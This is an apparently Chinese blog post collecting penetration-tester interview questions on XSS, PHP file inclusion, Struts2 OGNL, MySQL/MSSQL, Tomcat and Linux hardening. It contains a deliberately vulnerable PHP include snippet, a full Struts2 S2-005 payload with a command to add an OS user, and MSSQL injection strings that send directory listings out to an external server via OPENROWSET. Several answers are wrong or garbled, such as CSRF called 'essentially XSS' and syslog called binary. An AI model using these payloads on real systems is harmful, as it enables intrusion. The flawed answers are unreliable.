前言

总结了一些面试题,大家看看吧!

1.如果给你一个 XSS 盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个 XSS?

必须是 self xss + csrf +ssrf 到 getshel

2.php 的 LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执
行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:
include 是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,
然后继续往下执行
require 是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,
并且终止脚本的运行

<?php
include($_GET['f']);
?>

3.CSRF 漏洞的本质是什么?

本质就是 xss

4.你都了解哪些 java 框架?

spring 和 struts2 框架

5.ibats 的参数化查询能不能有效的控制 sql 注入?有没有危险的方法可以造成 sql 注入?

SQL 注入主要的是因为文本框的内容和 SQL 连接以后会改变 SQL 的语义,例如:文本框包含单引号什么的
参数化查询就可以将这些内容独立作为参数,本身的语句不会改变。

【面试题获取】

【面试题获取】

6.说说两次 struts2 漏洞的原理?

Struts2 的核心是使用的 webwork 框架,处理 action 时通过调用底层的
getter/setter 方法来处理 http 的参数,它将每个 http 参数声明为一个 ONGL(这里是 ONGL 的介绍)语句。

当我们提交一个 http 参数:

?user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL 将它转换为:

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这是通过 ParametersInterceptor(参数过滤器)来执行的,使用用户提供的 HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻击者就可以绕过保护,修改保护 Java 方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(a
aa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u
003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&
(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1

转义后是这样:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#c
ontext['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=ne
w%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Ru
ntime@getRuntime()))=1

OGNL 处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将 web 程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增
加操作系统用户,在有权限的情况下能成功(在 URL 中用%20 替换空格,%2F 替换

/)
只要有权限就可以执行任何 DOS 命令

7.ongl 在这个 payload 中起了什么作用?

Ognl 表达式语言,Struts 标签默认支持的表达式语言,必须配置 Struts 标签用,
不能离开 Struts 标签直接使用,就是说 Ognl 必须在 Struts 中使用

8.\u0023 是什么字符的 16 进制编码?为什么在 payload 中要用他?

#,在 S2-005 中可通过\u0023 绕过过滤执行

9.xss filter 在 java 程序的哪里设置?

在 web.xml 里面配置

10.说下 java 的类反射在安全上可能存在哪些问题?

可能会导致 JAVA 反序化漏洞

11.tomcat 要做哪些安全加固?

升级到最新稳定版
从监听端口上加固
仅在本地监听

如果 Tomcat 不需要对外提供服务,则监听在本地回环,前面放 Nginx。
如果需要对外提供访问,比如一个 Nginx 挂多个 Tomcat,那么在服务器上用iptables 只允许负载均衡器的 IP 来访问
关闭 8009 端口
现在我们一般不用 Apache 通过 AJP 协议来调用 Tomcat 了,所以 AJP 端口可
以关闭。
8005 端口
查看端口占用情况
自定义错误页面,隐藏 Tomcat 信息
编辑 conf/web.xml,在标签上添加以下内容:
禁用 Tomcat 管理页面
删除 webapps 目录下 Tomcat 原有的所有内容
删除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 这两
个文件
用普通用户启动 Tomcat
禁止 Tomcat 列目录
如果 tomcat 重启的话,webapps 下,你删除的后台会不会又回来?
你只是删除了后台,并没有删除 webaspps 下 war 包

12.mysql 数据库默认有哪些库?说出库的名字?

1.mysql 库,存储用户等信息
2.information_schema,存储表、锁等性能信息
3.test,mysql 自建测试库
4.performance_schema,互斥锁等信息(5.6 之前需要手动开启,从 5.6 开始
默认开启)

13.mysql 的用户名密码是存放在那张表里面?mysql 密码采用哪种加密方式?

mysql.user 表
MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之后的版本都是

MySQLSHA1 加密

MYSQL323 加密中生成的是 16 位字符串,而在 MySQLSHA1 中生存的是 41位字符串,其中**是不加入实际的密码运算中,通过观察在很多用户中都携带了"",在实际破解过程中去掉"*",也就是说 MySQLSHA1 加密的密码的实际位数是 40 位。

14.mysql 表权限里面,除了增删改查,文件读写,还有哪些权限?

排序,查询,索引等

15.mysql 安全要如何做?

Mysql 账户权限安全
Mysql 数据的网络安全配置
密码策略安全
Mysql 日志
Mysql 数据库服务所在主机安全配置
部署 SQL 注入检测、防御模块
mysqld 安全相关启动选项
mysql 备份策略

16.sqlserver public 权限要如何提权?

注入点执行

aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null
identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2
nvarchar(500))

注入点执行

aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2)
exec master.dbo.xp_dirtree [d:/] ,1,1;--

注入点执行

aaa.com x.asp?id=123;insert into OPENROWSET
('sqloledb','server=xx.xx.xx.xx,1433;Initial
Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2
from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 执行
select * from dhtemq
--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表#-----为本地临时表##----为全局临时表create table ##nonamed(dir ntext,num int)--调用存储过程把执行回来的数据存到临时表里面insert ##nonamed execute master..xp_dirtree 'c:/',1--然后采用 openrowset 函数把临时表的数据导到本地 MSSQL 的 dirtree
表里面了insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select *
from Northwind.dbo.dirtree') select * from ##nonamed

以上方法,也就是说 public 可以遍历用户服务器的目录
在 NBSI 中,只要把临时表名加前加##就可以了,但要注意 URL 转码,即
写成:%23%23nonamed 就 OK 了!

17.简述 Linux 系统安全加固需要做哪些方面?

1.密码安全策略
2.关闭不必要的端口和服务
3.文件权限的设置等

18.你使用什么工具来判断系统是否存在后门?

pchunter 攻击查看进程和服务

19.Linux 的 Selinux 是什么?如何设置 Selinux?

SELinux 是一种安全子系统,它能控制程序只能访问特定文件
使用 setup 工具进入图形化关闭搜索或者修改/etc/sysconfig/selinux 文件
SELINUX=disabled
防火墙打开使用 service iptables start 或则/etc/init.d/iptables start

20.iptables 工作在 TCP/IP 模型中的哪层?

网络层

21.syslog 里面都有哪些日志?安装软件的日志去哪找?如何查询 ssh 的登录日志?

cd /var/log
less secure

22.syslog 可不可以使用 vi 等工具直接查看?是二进制文件吗?

不能,只能使用 cat 之类的命令攻击查看,属于二进制文件

23.DNS 在渗透中的作用?

通过 DNS 可以查询对应的 IP 主机名,也可以查询出是否存在域传输漏洞

网络安全渗透开发发向是所有安全人所追求的目标,希望这篇文章能帮助到需要的人

【网络安全】渗透工程师面试题总结大全相关推荐

  1. 【2022年最新】网络安全渗透工程师面试题合集

    2022马上过去,2023年新年马上到来,难免有不少小伙伴面临跳槽或者找工作的问题,本文总结了大家最关心的也是常见的安全岗位面试题,方便各位复习.祝各位事业顺利,财运亨通. php爆绝对路径方法? 单 ...

  2. 渗透工程师面试题合集(2022版)

    前言 总结了一些面试题,大家看看吧! 1.如果给你一个 XSS 盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个 XSS? 必须是 self xss + cs ...

  3. 渗透测试工程师面试题大全(三)

    渗透测试工程师面试题大全(三) from:backlion大佬 整理 101.什么是 WebShell? WebShell 就是以 asp.php.jsp 或者 cgi 等网页文件形式存在的─种命令执 ...

  4. 金三银四,我猜你需要这套网络安全工程师面试题合集【全网首发】

    以下为信息安全/网络安全各个方向涉及的面试题,星数越多代表问题出现的几率越大,祝各位都能找到满意的工作~ 注:做这个List的目标不是很全,因为无论如何都不可能覆盖所有的面试问题,更多的还是希望由点达 ...

  5. cisp-pte安全渗透工程师,如何成为安全渗透测试工程师?从认识网络安全威胁开始

    cisp-pte安全渗透工程师,如何成为安全渗透测试工程师?从认识网络安全威胁开始 网络安全威胁是指网络系统所面临的,由已经发生的或潜在的安全事件对某一资源的保密性.完整性.可用性或合法使用所造成的威 ...

  6. 基于3个操作系统的靶场,从零开始做安全渗透工程师

    前言 基于3个操作系统的靶场(提供镜像),讲解从只有一一个IP到最终 拿下机器root权限的全流程. 不只是怎么做,并且说明为什么这样做,教给你别的地方学不到的思路.通过三天的强化学习,把平时学习的技 ...

  7. 渗透工程师日常探测漏洞全流程 初学者必看

    相信大家对网络安全中的渗透测试都或多或少听说过吧,渗透测试对于网络安全来说是十分重要的,简单来说,就是对网站和服务器进行安全检测,渗透工程师通过合法的授权模拟不法分子的手段,来检测我们的网站及服务器是 ...

  8. 初学者入门渗透工程师就业宝典

    大学迷茫,专业知识没学好,担心找不到理想工作,毕业后变废柴,踏入职场高不成低不就混日子,这是不是你现在的真实状态? 由于种种原因造成没有一技之长,就业成难题. 这就是为什么很多大学生在大三大四就未雨绸 ...

  9. 从小白到web渗透工程师——零基础指南(1)web渗透工程师介绍

    开篇:web渗透工程师介绍 随着网络的不断发展,高科技技术的应用,我们的网络安全也受到了前所未有的挑战,所以,渗透工程师这个职业应运而生,据统计,现在我国的网络安全人才缺口达到了300万,然而每年的毕 ...

最新文章

  1. 【Python入门】Python字符串的45个方法详解
  2. win10共享打印错误0x0000006_Win10连接共享打印机提示0x80070035错误的解决办法
  3. java 画金刚石_帮忙改错!java 画金刚石
  4. html鼠标互动旋转立方体,css3 transform及原生js实现鼠标拖动3D立方体旋转的示例介绍...
  5. linux系统访问sftp,Linux上设置用户通过SFTP访问目录的权限的方法
  6. L1-031 到底是不是太胖了 (10 分)—团体程序设计天梯赛
  7. 基于app_inventor的手机aap与单片机蓝牙互联教程
  8. 微信小程序开发工具编辑样式文件后模拟器不显示
  9. 51单片机入门教程(2)——实现流水灯
  10. android 音量流类型,android 音量控制setVolumeControlStream
  11. c# 容联云_迅雷云加速开放平台c#demo
  12. 黑客攻击欧洲港口石油设施致油价飙升、上海首份《企业数据合规指引》出台、微软计划收购网络安全公司|网络安全周报
  13. Opencv项目实战:01 文字检测OCR(2)
  14. java学生喂养宠物
  15. [转载]如何让上传到新浪博客和相册中的照片更大更清晰_我是亲民_新浪博客
  16. Boris FX Continuum Complete 2019(AE基础特效插件)v12.0.3.4169中文版
  17. ssh: connect to host xx.xx.xxx.xxx port 22: Connection refused
  18. ADRC线性跟踪微分器(ST+SCL语言)
  19. 浅谈最广泛应用的金融风控算法-评分卡
  20. 台式电脑怎么找不到计算机在哪,台式电脑没有声音怎么办

热门文章

  1. Ubuntu/Windows下利用“HIDAPI”库函数实现与Hid类USB设备通信
  2. java基于接口的动态代理
  3. android打开hex文件怎么打开,hex文件怎么打开
  4. 无泪的眼神---上海街头真实的一幕!(转自 燕南社区)
  5. Oracle中joint,什么是关节中心化(Joint centration)?
  6. UVA 1471 Defense Lines (STL + 二分)
  7. jpinyin 将城市名汉字转化为拼音
  8. 深度学习数据集(一)
  9. 国内外设计及素材站[转载]
  10. 人过青年,我们的黄金时代过去了吗?